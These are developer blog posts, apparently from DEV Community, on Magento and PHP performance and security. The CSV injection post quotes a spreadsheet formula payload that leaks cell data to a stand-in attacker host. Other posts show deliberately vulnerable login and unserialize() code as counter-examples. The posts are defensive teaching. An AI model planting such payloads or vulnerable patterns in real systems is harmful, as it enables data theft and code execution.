DEV Community: Robin Dhiman

The handshake tax: reuse your HTTP client in Magento integrations

Robin Dhiman — Fri, 03 Jul 2026 04:25:40 +0000

I had a product export that talked to a third-party pricing API. One product, fast. The full catalog was painfully slow. The database was barely doing anything, so I went looking, and the profiler pointed somewhere I didn't expect: the network, before a single request was even sent.

The code created a fresh HTTP client on every iteration of the loop.

The handshake tax

Before you send one byte of an HTTPS request, the machine does a lot of quiet work.

A TCP handshake to open the socket. Then a TLS handshake on top: certificate exchange, key negotiation, several round trips across the wire. Only after all of that does your actual GET or POST go out.

Do it once and reuse the connection, you pay that tax once. Do it inside a loop over 40,000 products, you pay it 40,000 times. The request bodies are tiny. The setup is the whole bill.

PHP tricks you into it

PHP is share-nothing. Every web request starts cold, so it feels natural to build a client, use it, and throw it away. For a single web request that hits one API once, that's fine. You were going to pay one handshake anyway.

The trap is the long-running process. A cron job, a bin/magento console command, a message-queue consumer syncing records to an ERP or a PIM. Those loop. And inside the loop, a lot of Magento integration code looks like this:

foreach ($products as $product) {
    $client = new \GuzzleHttp\Client();   // new connection every time
    $client->post('https://api.example.com/sync', [
        'json' => $this->toPayload($product),
    ]);
}

Every iteration opens a new connection, runs the full TCP + TLS dance, sends a few hundred bytes, and tears the connection down. The handshake runs N times for N products.

Reuse one client

Guzzle keeps the underlying connection alive between requests made on the same client instance. So build it once, outside the loop:

$client = new \GuzzleHttp\Client([
    'base_uri' => 'https://api.example.com',
    'headers'  => ['Connection' => 'keep-alive'],
]);

foreach ($products as $product) {
    $client->post('/sync', ['json' => $this->toPayload($product)]);
}

Same requests, same payloads. But now the socket and the TLS session are reused across the loop. You handshake once, then stream the rest over the open connection.

In a Magento module, go one step further and don't new the client at all. Inject a configured client, or a small wrapper service, through the constructor. The same instance gets shared, and the connection survives across the calls that matter.

The louder version

In a long-lived runtime the same mistake gets worse. Create a client per call in a hot path and the cost compounds: on top of the repeated handshakes, you can run the machine out of outbound ports, because closed connections pile up in TIME_WAIT faster than the OS reclaims them. The service stops being able to open new sockets at all. Same root cause, much louder failure.

PHP's request model usually saves you from that specific cliff. It does not save you from the latency.

How to find it

Grep your integration code for clients built inside loops, or hidden in a method that runs once per record:

grep -rn "new .*Client(" app/code | grep -i http

Look for any new \GuzzleHttp\Client() (or a raw curl_init()) sitting inside a foreach. That's the line paying the handshake tax on every pass.

Move the client up, out of the loop, and let the connection stay open. It's a one-line change. On a sync that touches thousands of records, it's the cheapest speedup you'll find all day.

WooCommerce HPOS: when order sync floods Action Scheduler

Robin Dhiman — Tue, 30 Jun 2026 15:18:54 +0000

A WooCommerce store starts misbehaving over a weekend. The database is swelling. The PHP error log is growing faster than the database. Background processing runs non-stop, and now you're seeing Deadlock found and INSERT command denied in the logs.

The usual suspects get blamed first. Redis. The page cache. That custom plugin you shipped on Friday. A recent server upgrade.

None of them are it.

What's actually happening

If the store is on HPOS (High-Performance Order Storage, the order tables WooCommerce moved to a couple of years ago), there's a setting most people forget they enabled: compatibility mode.

HPOS keeps orders in their own tables (wp_wc_orders, wp_wc_orders_meta, and friends) instead of the old wp_posts / wp_postmeta layout. Compatibility mode keeps both stores in sync so legacy code that still reads wp_postmeta doesn't break. That sync runs through Action Scheduler, WooCommerce's background job queue.

Here's the trap. Every order change schedules a sync job. If anything is touching orders in a loop (an importer, a meta-rewriting cron, a plugin that re-saves every order on some hook), each touch enqueues another sync action. Failures get retried. The queue grows faster than the workers drain it, and Action Scheduler stores every one of those rows in your database.

That's your runaway table. That's your deadlock.

Stop guessing. Query the queue.

You don't debug this by disabling plugins one at a time. The queue table tells you exactly what's being scheduled. Action Scheduler keeps its jobs in wp_actionscheduler_actions. Group them by hook:

SELECT hook, status, COUNT(*) AS n
FROM wp_actionscheduler_actions
GROUP BY hook, status
ORDER BY n DESC;

One hook will dwarf the rest. That hook name is your culprit — it tells you which subsystem is enqueuing work in a loop. You go from a vague 'something is wrong' to a named process scheduling hundreds of thousands of jobs, in one query.

This is the same move I make on Magento when cron_schedule or the message queue balloons: don't audit the whole stack, read the queue and GROUP BY what's piling up. The component generating the work always names itself.

The fix

Two parts.

First, stop the bleeding. Once you've confirmed the store is fully on HPOS and nothing critical still reads the legacy tables, turn off compatibility mode under WooCommerce → Settings → Advanced → Features. You stop paying the sync tax on every order write. Don't flip this blind on a store full of legacy plugins. Verify they read HPOS first.

Second, clean up the backlog. Action Scheduler retains completed actions for 30 days by default, which is how a short burst leaves a long tail in your database. Lower the window with the action_scheduler_retention_period filter and let the cleanup task reclaim the space, or purge completed actions from Tools → Scheduled Actions.

The lesson that travels

The platform-specific bit is narrow: HPOS compatibility mode is expensive under heavy order writes. Keep that one for WooCommerce.

The part that travels to every stack with a job queue: when background processing melts your database, the queue is the evidence, not the suspect list. Don't theorize about Redis. Count the rows by hook. Whatever is flooding you is already labelled.

A PHP login form that won't get you owned

Robin Dhiman — Sun, 28 Jun 2026 16:42:47 +0000

A login form is the most-copied, least-reviewed piece of PHP on the internet. Someone needs auth, they paste a tutorial from 2014, it "works," and it ships. Then it leaks.

I've reviewed a lot of these. The same five mistakes show up every time. None of them are exotic. All of them are one function call away from being fixed.

1. Hashing passwords by hand

If your code contains md5(), sha1(), or a salt you generated yourself, stop. PHP has had a real password API since 5.5.

// On signup
$hash = password_hash($password, PASSWORD_DEFAULT);

// On login
if (password_verify($password, $hash)) {
    // authenticated
}

password_hash() picks a strong algorithm (bcrypt by default, Argon2id if you pass PASSWORD_ARGON2ID), generates the salt for you, and stores the cost inside the hash string. password_verify() does a constant-time comparison, so you don't leak timing. You never handle a salt again.

When you raise the cost later, password_needs_rehash() lets you re-hash transparently on the user's next login.

2. Building the query with string concatenation

// Don't
$sql = "SELECT * FROM users WHERE email = '$email'";

That's SQL injection, on the front door of your app. Use a prepared statement and let the driver escape:

$stmt = $pdo->prepare('SELECT id, password_hash FROM users WHERE email = ?');
$stmt->execute([$email]);
$user = $stmt->fetch();

Select only the columns you need. SELECT * on a user row pulls fields you'll expose by accident later.

3. Not regenerating the session ID

This one is invisible until someone exploits it. If you attach the logged-in state to the same session ID the visitor arrived with, you're open to session fixation: an attacker who can plant a victim's session ID before login inherits the authenticated session after.

One line, right after the password checks out:

session_regenerate_id(true);
$_SESSION['user_id'] = $user['id'];

Regenerate on login, and again on logout and any privilege change.

4. Telling attackers which half they got right

// Leaks which emails exist
if (!$user) {
    echo 'No account with that email';
} elseif (!password_verify($password, $user['password_hash'])) {
    echo 'Wrong password';
}

Two different messages turn your login form into a user-enumeration oracle. An attacker scripts it to learn which emails are registered, then focuses on those.

Return one message for both cases:

if (!$user || !password_verify($password, $user['password_hash'])) {
    $error = 'Invalid email or password';
}

To close the timing gap when the user doesn't exist, verify against a dummy hash so both paths do the same work.

5. Letting them guess forever

password_hash() is deliberately slow, which buys you a lot. It does not stop someone running a few hundred guesses at one account. That needs rate limiting.

The cheap version: count failed attempts per email and per IP in a fast store (Redis, or an indexed table), then refuse or delay past a threshold. Reset the counter on success.

You don't need a library to start. You need a counter and a ceiling.

The shape of a correct login

Put together, the whole thing is short:

$stmt = $pdo->prepare('SELECT id, password_hash FROM users WHERE email = ?');
$stmt->execute([$email]);
$user = $stmt->fetch();

if (!$user || !password_verify($password, $user['password_hash'])) {
    // generic error, bump the rate-limit counter
    return $this->fail('Invalid email or password');
}

session_regenerate_id(true);
$_SESSION['user_id'] = (int) $user['id'];

No custom crypto. No string-built SQL. One error message. A fresh session. A counter on top.

None of this is new. password_hash() landed in PHP 5.5, prepared statements are older still, and session_regenerate_id() has been there the whole time. The tools are old and boring. The mistakes survive because the tutorials never caught up.

If you maintain a PHP app with hand-rolled auth, read your login controller today. The fix is usually five small edits, not a rewrite.

Enriching a large Magento catalog without melting the indexer

Robin Dhiman — Fri, 26 Jun 2026 09:16:09 +0000

Every few weeks the same question shows up in a Magento forum: thousands of SKUs, missing attributes, thin descriptions, no translations. How do I enrich all of it? The replies are always about sources. Icecat for attributes. An LLM for descriptions. A feed for the marketplace fields.

Sourcing the data has a thousand tutorials. Getting it into the catalog without taking the store down has almost none. That second part is the actual job.

The mistake everyone makes first

You write the obvious loop. Load product, set value, save.

foreach ($productIds as $id) {
    $product = $this->productRepository->getById($id);
    $product->setData('description', $descriptions[$id]);
    $this->productRepository->save($product);
}

Every save() runs the full product lifecycle: validation, every save-after observer and plugin, and a reindex trigger. At 50,000 products you've fired that machinery 50,000 times. The script runs for hours, the indexer thrashes, and admin grinds while it does.

The product save path is built for a human editing one product in the admin. It is the wrong tool for touching the whole catalog.

Set shared values in bulk

When you're writing the same value to many products (a marketplace flag, a country of manufacture, a default brand), Magento already ships the right tool:

// Magento\Catalog\Model\Product\Action
$this->productAction->updateAttributes(
    $batchOfIds,                       // 1-2k entity IDs per call
    ['country_of_manufacture' => 'IN'],
    $storeId                           // 0 = default scope
);

updateAttributes() writes straight to the attribute's backend table for the whole batch and skips the full model save. One operation instead of N lifecycles. For genuinely distinct values per product, like unique descriptions, group your writes and keep them off the productRepository->save() path. The moment you're saving the full model in a loop, you've already lost.

Put the indexer on schedule before you start

Switch your indexers to Update by Schedule before any bulk run.

On Update on Save, every write reindexes synchronously and your enrichment job fights the indexer for the whole run. On schedule, writes drop into the changelog and mview reindexes only the changed rows on cron. You enrich fast, then reindex the delta once.

bin/magento indexer:set-mode schedule

Translations live at store-view scope

A translated description isn't a column on the product. It's an attribute value scoped to a store view. Write German to the German store view's id, not to the default scope. And don't clobber the default value with one language while you're at it.

That $storeId argument on updateAttributes() is the same lever: pass the store-view id to set the localized value, and leave the global value alone.

The AI part, on a short leash

An LLM will draft decent product copy across thousands of SKUs in one pass. It will also state, with total confidence, that a cable is 2 metres, a shirt is 100% cotton, and a case fits a phone it has never heard of.

So treat generated copy as a draft, never as truth:

Generate into a staging field or a disabled scope, not straight onto the live product page.
Sample-review a real slice before you trust the batch.
Keep anything load-bearing (dimensions, materials, compatibility, claims) sourced and verified, not generated.

A wrong spec on a product page is a returns problem, and on regulated goods it's a bigger one than that.

An order of operations that survives 50k SKUs

Indexers to scheduled.
Enrich into staging: a holding field or a disabled scope nobody can see yet.
Bulk-apply in batches of 1-2k IDs, off the full save path.
Reindex the delta, then smoke-test a real sample of product pages.
Only then flip visibility.

The data sources are the easy 20%. The catalog is a live system with an indexer, a cache, and customers on it. Enrich it like one and 50,000 SKUs is a non-event. Loop over save() and you'll find out how long an afternoon can be.

Why Magento cart price rules get slow at checkout (and how to find the culprit)

Robin Dhiman — Wed, 24 Jun 2026 15:16:51 +0000

I have watched a checkout get slower every time the marketing team shipped a new promotion. Not the product page. Not the cart. The totals step: the recalculation Magento runs after every add, remove, or quantity change. Each new cart price rule added a little more lag, and nobody connected the rules to the slowdown.

Here is what's actually going on under the hood.

Cart price rules run in PHP, on every recalculation

A cart price rule is not a stored discount sitting in a column. It is a tree of conditions and a set of actions that Magento evaluates at runtime.

Every time the quote changes, Magento recollects totals. Discount collection is one stage of that pass, handled by Magento\SalesRule\Model\Quote\Discount. During it, Magento takes the rules that apply to the current cart and validates each rule's conditions against the quote items.

That validation is PHP. A loop over rules, and inside it, condition checks against items held in memory. There is no single clever query that returns "the right discount." It is procedural evaluation, and it reruns on every recalculation of the cart.

So the cost scales with two numbers: how many rules apply, and how expensive each rule is to check.

The pre-filter is doing more than you think

Magento does not evaluate every row in salesrule. The rule collection is narrowed first by website, customer group, coupon, and the current date before any conditions are checked. A rule scoped to one website and one customer group gets dropped early for everyone else.

This is the cheapest performance win available, and most stores ignore it. Start by counting what is actually live:

SELECT rule_id, name, from_date, to_date, sort_order
FROM salesrule
WHERE is_active = 1
  AND (to_date IS NULL OR to_date >= CURDATE())
ORDER BY sort_order;

If that returns 200 rows and your business runs maybe a dozen real promotions, you have 188 rules being filtered on every cart change for no reason. Expired campaigns that were never disabled. "Temporary" rules from two years ago. Each one is still work.

Disable what you don't use. Scope what you keep as tightly as the campaign allows.

Conditions are where the time goes

Not all conditions cost the same.

A condition on subtotal or quantity is cheap. The values are already on the quote. A condition that asks "does the cart contain a product in category X" is not. Category membership has to be resolved per item.

Worse are conditions on product attributes. When a rule references a product attribute, Magento has to make that attribute available on the items during validation. It tracks which attributes rules care about in salesrule_product_attribute, then loads them so the conditions can run. Reference a heavy or rarely-loaded attribute in a rule condition and you have added an attribute load to a hot path.

The lesson: build conditions out of data the quote already has. Reach for category and attribute conditions only when a campaign genuinely needs them, and know you are paying for them on every recalculation.

The table everyone forgets: salesrule_coupon

Auto-generated coupon batches live in salesrule_coupon. Generate a million codes for a campaign and the table holds a million rows. Lookups by code are indexed, so a single redemption stays fast, but the table itself grows without bound because expired campaigns rarely get cleaned up.

Check its size. If it is large and most of the codes belong to dead campaigns, archive them.

Finding the actual culprit

Two ways, fastest first.

Binary-search the rules. Disable half the active rules, reproduce the cart flow, measure. Narrow until one rule stands out. Crude, but it works in minutes and needs no tooling.

Profile it. Point Blackfire or Xdebug's profiler at a cart update and look at the time spent under the discount totals collector and the sales rule validator. The expensive rule shows up as the condition path that dominates.

You are looking for one of two shapes: too many rules being validated, or one rule whose conditions are doing real work per item.

What I would do, in order

Count active rules. Disable the dead ones. This alone often fixes it.
Tighten scope (website, customer group, dates) so the pre-filter throws rules out early.
Audit conditions. Replace category and attribute conditions with cheaper ones wherever the campaign allows.
Check salesrule_coupon size and archive spent batches.
Only then reach for the profiler, with a specific rule in your sights.

Promotions feel like a marketing concern until they show up in your checkout timings. They run on every cart change, in PHP, and they compound quietly. Treat the rule table like code: review it, delete what's dead, and keep the conditions cheap.

CSV injection: the export button that runs code on someone else's machine

Robin Dhiman — Tue, 23 Jun 2026 04:11:48 +0000

A customer fills in their name. They type =HYPERLINK("http://evil.example/?leak="&A2,"click"). Your validation passes. It's just text, after all. Weeks later someone on your finance team exports the customer list to CSV, opens it in Excel, and that cell stops being text. It becomes a formula.

That's CSV injection. Also called formula injection. It's one of the most common bugs in e-commerce admin panels, and almost nobody tests for it.

Why a string turns into a formula

When a spreadsheet app opens a CSV, it doesn't treat every cell as plain text. If a cell starts with =, +, -, or @, Excel, LibreOffice, and Google Sheets all read it as the start of a formula.

So a field holding =1+1 shows 2. Harmless. But formulas do more than arithmetic. They can build a URL out of other cells and nudge the user into clicking it. On some setups they can reach out to the network. Older Excel could even launch external commands through DDE if the user clicked past the warnings.

The pattern is the same. Data your app stored as text becomes executable the moment a human opens the file. And the person who opens it is usually staff, the people with the most access.

Where this hides in a store

Anywhere you export user-controlled data:

Customer name and address exports
Order grids exported to CSV
Product feeds from third-party vendors
Contact form and newsletter dumps

The attacker never needs admin access. They set their own name, their company name, or a product title in a feed, then wait for someone on your side to export and open it.

The fix

Sanitize on the way out, when you write the CSV. Not on the way in. Input validation is the wrong layer here, because the value is legitimate text right up until a spreadsheet reads it.

If a cell value starts with =, +, -, @, a tab, or a carriage return, prefix it with a single quote:

function csvSafe(string $value): string
{
    if ($value !== '' && in_array($value[0], ['=', '+', '-', '@', "\t", "\r"], true)) {
        return "'" . $value;
    }
    return $value;
}

The leading quote tells the spreadsheet "this is text," and the cell renders without it. Run every field through this before it reaches the file. That's the whole fix.

Two things people get wrong

Escaping in the database. Don't. The value is fine in your database, fine in your HTML where you already encode output, and dangerous only in a CSV. Guard it at the CSV boundary so you don't mangle the data everywhere else.

Trusting your own exports. The customer who set their name to a formula is attacking your staff, not your customers. "It's only an internal export" is exactly why it works.

CSV injection has no scary scanner alert and no CVE filed against your app. It just sits in the export button you shipped two years ago. Go look at what writes your CSVs. If nothing guards the first character of each cell, you have it too.

The EAV tax: why Magento product loads are slow

Robin Dhiman — Mon, 22 Jun 2026 15:29:34 +0000

Open a product in Magento 2 and ask your database what just happened. A single addAttributeToSelect('*') load does not fire one query. It fires one per attribute backend type, plus the static columns, plus stock and media. The same flexibility that lets you add a product attribute from the admin with no schema migration is what makes a full product load expensive.

That is the EAV tax. Most of the "Magento is slow" reports I get handed are paying it without knowing.

What EAV actually stores

A product is not a row. It is a row in catalog_product_entity for the static columns, and then its attribute values are scattered across typed value tables: catalog_product_entity_varchar, _int, _decimal, _text, _datetime. Each value row is keyed by entity_id, attribute_id, and store_id.

To rebuild one product with all its attributes, Magento reads across every one of those tables and stitches the rows back into an object. Add a store view and the store-scoped values double the work.

SELECT e.entity_id, var.value AS name, dec.value AS price
FROM catalog_product_entity e
LEFT JOIN catalog_product_entity_varchar var
  ON var.entity_id = e.entity_id AND var.attribute_id = 73
LEFT JOIN catalog_product_entity_decimal dec
  ON dec.entity_id = e.entity_id AND dec.attribute_id = 77
WHERE e.entity_id = 42;

That is two attributes. Now picture *.

Why `addAttributeToSelect('*')` is the trap

* means every attribute in the set. On a category grid showing 36 products, the card needs maybe six fields: name, price, thumbnail, url key, status, visibility. With * you loaded sixty. The other fifty-four were read, joined, hydrated, and thrown away before the page rendered.

Name the columns you actually use:

$collection->addAttributeToSelect([
    'name', 'price', 'small_image', 'url_key', 'status', 'visibility',
]);

This one change is the single biggest win I see on slow listing pages. It costs nothing and it ships in five minutes.

Stop rendering listings off the product collection

The deeper fix is to not reassemble products from EAV on a listing at all. Category pages, layered navigation, and search should read from the index tables and OpenSearch, not loop a collection that re-hydrates every card from the value tables.

Magento already maintains flattened index tables for this: catalog_category_product_index for membership, the price index for prices, the fulltext index for search. A tuned category page leans on those and only touches EAV for the handful of attributes the card template prints. If your category controller is iterating a product collection with *, that is the thing to pull apart first.

The flat catalog is not your escape hatch

Older Magento answered EAV cost with the flat catalog: denormalize every attribute into one wide catalog_product_flat table and read a single row. Adobe deprecated it, and for good reason. It falls over the moment you have thousands of attributes because MySQL caps columns per table, and it adds a heavy indexer you have to keep green. On a current build, do not turn it on.

What I do instead

Select named attributes, never *, in any collection that renders to a user. Push listing and filtering to OpenSearch so the storefront reads an index instead of replaying joins. For bulk reads like exports and feeds, walk the catalog by entity_id with keyset pagination and select only the fields you need, because a full * load across a six-figure catalog will melt the box.

Then measure. Turn on the query log and count statements per request. When a single category page fires several hundred queries, EAV reassembly is almost always the reason, and now you know exactly which line put them there.

Migrating a Magento 2 store from utf8 to utf8mb4 without losing data

Robin Dhiman — Mon, 22 Jun 2026 09:17:17 +0000

A customer signed up with an emoji in their display name, and the row saved with everything after the emoji chopped off. No error in the log. The column was utf8, and in MySQL utf8 has never been real UTF-8.

`utf8` is a three-byte lie

MySQL's utf8 is an alias for utf8mb3: at most three bytes per character. It covers the Basic Multilingual Plane and stops there. Emoji, many CJK extension characters, and a pile of modern symbols are four bytes, and they do not fit.

What happens when a four-byte character lands in a utf8mb3 column depends on your SQL mode. In strict mode you get Incorrect string value: '\xF0\x9F...'. Without it, MySQL silently truncates the string at the offending byte and saves the rest. The second case is the dangerous one: no error, partial data, found weeks later in a support queue.

utf8mb4 is the fix. It is actual UTF-8, up to four bytes per character. New Magento installs use it. Plenty of stores set up years ago are still on utf8mb3 and inherit every one of these bugs.

The migration looks like one line. It isn't.

The naive version:

ALTER TABLE customer_entity CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

Run that across a real Magento schema and you hit this fast:

ERROR 1071 (42000): Specified key was too long; max key length is 767 bytes

An index on a VARCHAR column is sized in bytes, and MySQL budgets for the widest possible character. Under utf8mb3, VARCHAR(255) costs 255 x 3 = 765 bytes, just under the old 767-byte limit. Under utf8mb4 the same column wants 255 x 4 = 1020 bytes, and the index is rejected.

Two ways out, and which one you need depends on your MySQL version:

MySQL 5.7 with innodb_large_prefix enabled, or MySQL 8.0 (where it is the default): the index limit is 3072 bytes on DYNAMIC or COMPRESSED row format. Most columns just work. This is where you want to be.
Older or misconfigured servers still capped at 767 bytes: indexed string columns have to drop to 191 characters (191 x 4 = 764 bytes) or index a prefix. 191 isn't magic, it is just the largest count that still fits.

Check the row format before you start:

SHOW TABLE STATUS WHERE Name = 'customer_entity';

The column is only half of it

Converting the column does nothing if the application still talks to the database as utf8mb3. Character set is negotiated on the connection. If the client opens with SET NAMES utf8, a four-byte character is mangled in transit before it ever reaches your new utf8mb4 column.

So the migration is three coordinated changes, not one:

Database and tables: ALTER ... CONVERT TO CHARACTER SET utf8mb4. CONVERT TO rewrites the table and converts existing data, not just the default for new rows.
Server defaults in my.cnf (character-set-server, collation-server), so new tables are born correct.
The application connection charset, so reads and writes negotiate utf8mb4 end to end.

Miss the third and you will swear the migration worked from the mysql CLI while the storefront keeps corrupting data.

Two things that bite mid-migration

CONVERT TO is a full table rewrite. On a large sales_order or catalog_product_entity_varchar table that means a long lock. Do it in a maintenance window, or run it through pt-online-schema-change or gh-ost so the table stays writable.

Collations have to match across joins. Convert some tables and not others and the next query that joins them throws Illegal mix of collations. Pick one collation, apply it everywhere, and don't leave half the schema on the server default. utf8mb4_unicode_ci is a safe, widely compatible choice.

The lesson isn't really about Magento

This is a MySQL story, not a Magento one. Any application sitting on utf8mb3 carries the same latent bug and the same three-part fix. Magento just surfaces it early, because catalogs and customer data are full of exactly the international text and emoji that four bytes were invented for.

If you are still on utf8, you don't have a Unicode-safe store. You have one that hasn't met the wrong character yet.

Which Magento extension is slowing you down? Stop guessing.

Robin Dhiman — Wed, 17 Jun 2026 13:18:10 +0000

A store feels slow. Someone has installed forty extensions over three years. The usual advice is "disable them one at a time and see what helps." That is not debugging. That is guessing with extra steps, on production, with a fingers-crossed deploy at the end.

You can do better. Magento 2 makes the cost of an extension measurable if you know where it spends your time. Here is how I find the culprit instead of guessing.

Where an extension actually costs you

A third-party module doesn't just "add features." On every request it can add work in four places:

Plugins (interceptors). Every <plugin> in a module's di.xml wraps a method. Magento compiles these into interceptor classes, and at runtime each one is a layer the call passes through: before, around, after. A module with twenty plugins on hot paths is twenty extra layers on requests that fire constantly.
Observers. Each <observer> in events.xml runs when its event dispatches. Subscribe to something like controller_action_predispatch and your code runs on every single page.
Layout. Layout XML is merged on page render. Blocks that a module injects into shared containers run their templates whether or not anyone looks at them.
Queries. The quiet one. A block or observer that does "just one more lookup" per item turns into N more queries on a category page.

None of these are evil. They are how Magento is meant to be extended. The problem is volume and placement. Twenty cheap things on a page that renders a million times a day is not cheap.

Step 1: turn on the profiler

Magento ships with a built-in profiler. Enable it:

bin/magento dev:profiler:enable

Set the output you want (the html profiler is the readable one) and load a slow page. You get a timing tree of the request: which methods ran, how long they took, how many times they were called. The "called N times" column is where extension problems hide. A method that runs once is fine; the same method at 1,400 calls is a loop someone didn't notice.

For anything serious, reach for a real profiler. Blackfire or Xdebug locally, New Relic or another APM in production. Blackfire in particular gives you a call graph where you can see time attributed to a vendor namespace at a glance. That namespace is your answer.

Step 2: count what's actually attached

Before you profile, it helps to know what each module wires up. No tool needed. Just grep the vendor tree:

# plugins declared across all modules
grep -rl "<plugin" vendor/*/module-*/etc/ app/code/*/*/etc/

# observers
grep -rl "<observer" vendor/*/module-*/etc/ app/code/*/*/etc/

Then read the offenders. A plugin on a repository's save is usually fine. A plugin around a method on Magento\Framework\View\Element\Template or on the product collection load is a flag. Those paths run constantly, and an around plugin that forgets to call $proceed() correctly can quietly break or slow the whole chain.

Step 3: confirm with a controlled measurement

Now you measure, not guess. Pick one suspect module. With the profiler on, capture the timing of a representative page. Disable that one module (bin/magento module:disable, recompile, cache flush), capture the same page again. The delta is that module's real cost on that page: attributable, repeatable, defensible.

This is still "disable a module," but it is the opposite of the shotgun approach: you disable the one the data pointed at, you measure both sides, and you can put a number on the result instead of a vibe.

What to do with the answer

Once you know which module and which mechanism, you usually have three options, in order of preference:

Configure it out of the hot path. Many modules attach to broad events or all pages when they only need one. A setting, or a small di.xml override scoping their plugin to the right area, fixes it without touching their code.
Replace the mechanism. An around plugin doing work that a before or after could do, or an observer that should have been a plugin, can often be reworked in a thin module of your own.
Drop it. If a module costs more than the feature is worth, and once you've measured you can actually make that call, remove it.

The point

"It got slow after we added extensions" is true on almost every long-lived Magento store. The mistake is treating the fix as folklore. The cost of every plugin, observer, layout handle, and query is observable. Turn on the profiler, read what's attached, measure one module at a time, and you trade a week of guessing for an afternoon of evidence.

unserialize() is the Magento footgun nobody audits

Robin Dhiman — Mon, 15 Jun 2026 08:13:03 +0000

Every few months the same Magento story runs again: a store is compromised, and it wasn't core. It was a third-party extension — usually something installed for speed, like a full-page-cache warmer or an import tool. The root cause underneath most of them is the same one PHP developers have been shipping by accident for fifteen years: object injection through unserialize().

It's worth understanding properly, because once you see the shape of it you'll spot it in code review in about three seconds.

How a string becomes a shell

unserialize() doesn't just rebuild arrays and strings. It rebuilds objects — it will instantiate any class the calling code has access to and populate its properties, straight from the input string. If an attacker controls that string, they control which objects come into existence and what's inside them.

On its own, a stray object is harmless. The danger is PHP's magic methods. When an object is destroyed, __destruct() runs. When it wakes from unserialisation, __wakeup() runs. In a codebase the size of Magento — core plus framework plus thirty extensions plus their dependencies — there is almost always some class whose __destruct() writes a file, or whose __wakeup() opens a connection, or that can be chained into something that does. Attackers call these gadget chains. They don't need your code to be careless; they need your code to be large, and to call unserialize() on something they can reach.

So the whole exploit reduces to one question: is there a path where untrusted input — a cookie, a request parameter, a cache key, an imported file — reaches an unserialize() call?

Why Magento extensions are fertile ground

Two reasons. First, history: Magento leaned on PHP serialization for years — cache entries, config, sessions — so reaching for serialize()/unserialize() is muscle memory for a lot of extension developers. Second, the install base: performance and cache extensions, by their nature, read and write serialized blobs constantly, and they run early in the request before much validation has happened. That's exactly the combination you don't want around a deserialization call.

A minimal version of the bug looks this innocent:

// Don't do this.
$payload = $request->getCookie('warmer_state');
$state   = unserialize($payload); // attacker controls $payload

No exotic mistake. Just unserialize() pointed at something a visitor can set.

The fix is boring, which is the point

Don't serialize untrusted data with PHP's serializer at all. Use JSON. It only carries data — arrays, strings, numbers — never objects, so there are no magic methods to trigger:

$state = json_decode($payload, true);

In Magento 2 specifically, that's exactly what Magento\Framework\Serialize\Serializer\Json is for. Inject SerializerInterface and let it do the work — Magento deprecated raw serialize()/unserialize() in core for this reason years ago.

If you genuinely must unserialize PHP-native data, PHP 7+ lets you slam the door on objects:

$state = unserialize($payload, ['allowed_classes' => false]);

That turns any embedded object into a __PHP_Incomplete_Class instead of instantiating it — no gadget chain, no __destruct() surprise. And if the payload crosses a trust boundary, sign it (HMAC) and verify before you even look at it.

Auditing your own store

You can find most of this yourself in a minute:

grep -rn "unserialize(" vendor/ app/code/ \
  | grep -v "allowed_classes"

Read every hit. For each one, ask the only question that matters: can a user influence what reaches this call? Start with extensions that touch caching, sessions, import/export, and anything that reads cookies — that's where the live ones hide.

The wider point

None of this is really Magento's fault, and none of it is new. PHP object injection is a whole vulnerability class; Java has its own deserialization nightmare, Python has pickle, Ruby has its Marshal bugs. The lesson generalises cleanly: deserialising attacker-controlled data into rich objects is remote code execution waiting for a gadget. Treat any unserialize() (or pickle.loads, or readObject) on untrusted input as a live wire.

For Magento specifically, the uncomfortable part is that the dangerous code usually isn't yours. It rides in on an extension you installed to make the store faster. Your perfectly tuned cache layer is worth nothing if it hands an attacker a shell — so the next time you composer require a performance module, grep it before you trust it.

Paginating Magento catalogs without OFFSET

Robin Dhiman — Mon, 15 Jun 2026 08:13:00 +0000

I was building a module that reads every product in a Magento catalog to generate an llms.txt file. On a store with 70,000 products, the standard Magento collection was fast at page 1 and unusably slow around page 40. The code did not change — only the page number.

This is not specific to Magento. OFFSET pagination gets slower with page depth in every SQL database, and any ORM that exposes LIMIT offset, n inherits the same curve — Laravel, Django, Rails, Hibernate, all of them. setPageSize() and setCurPage() are the standard Magento 2 way to iterate a collection, so the pattern shows up a lot in Magento code. This post is about the fix.

The standard way, and why it breaks

In Magento 2, if you want to read every product, you usually write something like this:

$collection = $this->collectionFactory->create()
    ->addAttributeToSelect('*')
    ->setPageSize(1000)
    ->setCurPage($page);

Under the hood, setPageSize and setCurPage turn into SQL LIMIT and OFFSET:

SELECT * FROM catalog_product_entity
ORDER BY entity_id ASC
LIMIT 1000 OFFSET 999000;

MySQL reads this as: "start from row 1, skip 999,000 rows, then give me the next 1,000." The database has no shortcut. It walks the index from the start every single time.

That is the slowdown. At page 1, OFFSET 0 is free. At page 1000, OFFSET 999000 is 999,000 wasted row reads per request. The cost grows with the page number — and adds up if the same query runs many times.

The fix, part one: keyset pagination

Instead of using OFFSET, use the index you already have — the primary key — as a cursor:

SELECT * FROM catalog_product_entity
WHERE entity_id > :lastId
ORDER BY entity_id ASC
LIMIT 1000;

This tells MySQL: "start from the row right after the last one I saw, and give me the next 1,000." It is an index range scan — the database jumps straight to the right spot through the B-tree. The cost is the same whether :lastId is 0, 10,000, or 1,000,000.

You pass the last entity_id you saw into the next query as :lastId. The cursor moves forward through the table without ever skipping rows.

Other teams have written about large speedups from this switch on production tables. The point is not the exact number — it is that the cost no longer grows with page depth.

Here is what it looks like in the module:

private function buildProductSelect(int $storeId, int $lastId): Select
{
    $select = $this->connection->select()
        ->from('catalog_product_entity')
        ->where('entity_id > ?', $lastId)
        ->order('entity_id ASC')
        ->limit(1000);

    // ... EAV joins, status filter, visibility filter, etc.

    return $select;
}

The WHERE entity_id > :lastId is the whole trick. Everything else is standard Magento code.

The fix, part two: PHP generators

Keyset pagination solves the database side. But if you load 70,000 products into PHP arrays in one go, you have only moved the problem.

This is where yield helps. A PHP generator lets a function behave like an iterator — it hands back one batch at a time, pauses, and continues on the next call. Each batch can be freed from memory before the next one is fetched.

private function getProductGenerator(int $storeId): Generator
{
    $lastId = 0;

    while (true) {
        $rows = $this->connection->fetchAll(
            $this->buildProductSelect($storeId, $lastId)
        );

        if (empty($rows)) {
            break;
        }

        $lastId = (int) end($rows)['entity_id'];

        yield $rows;

        if (count($rows) < 1000) {
            break;
        }
    }
}

The caller reads it like any other iterable:

foreach ($this->getProductGenerator($storeId) as $batch) {
    foreach ($batch as $row) {
        // process one product
    }
    // $batch can be freed from memory here
    // before the next batch is fetched
}

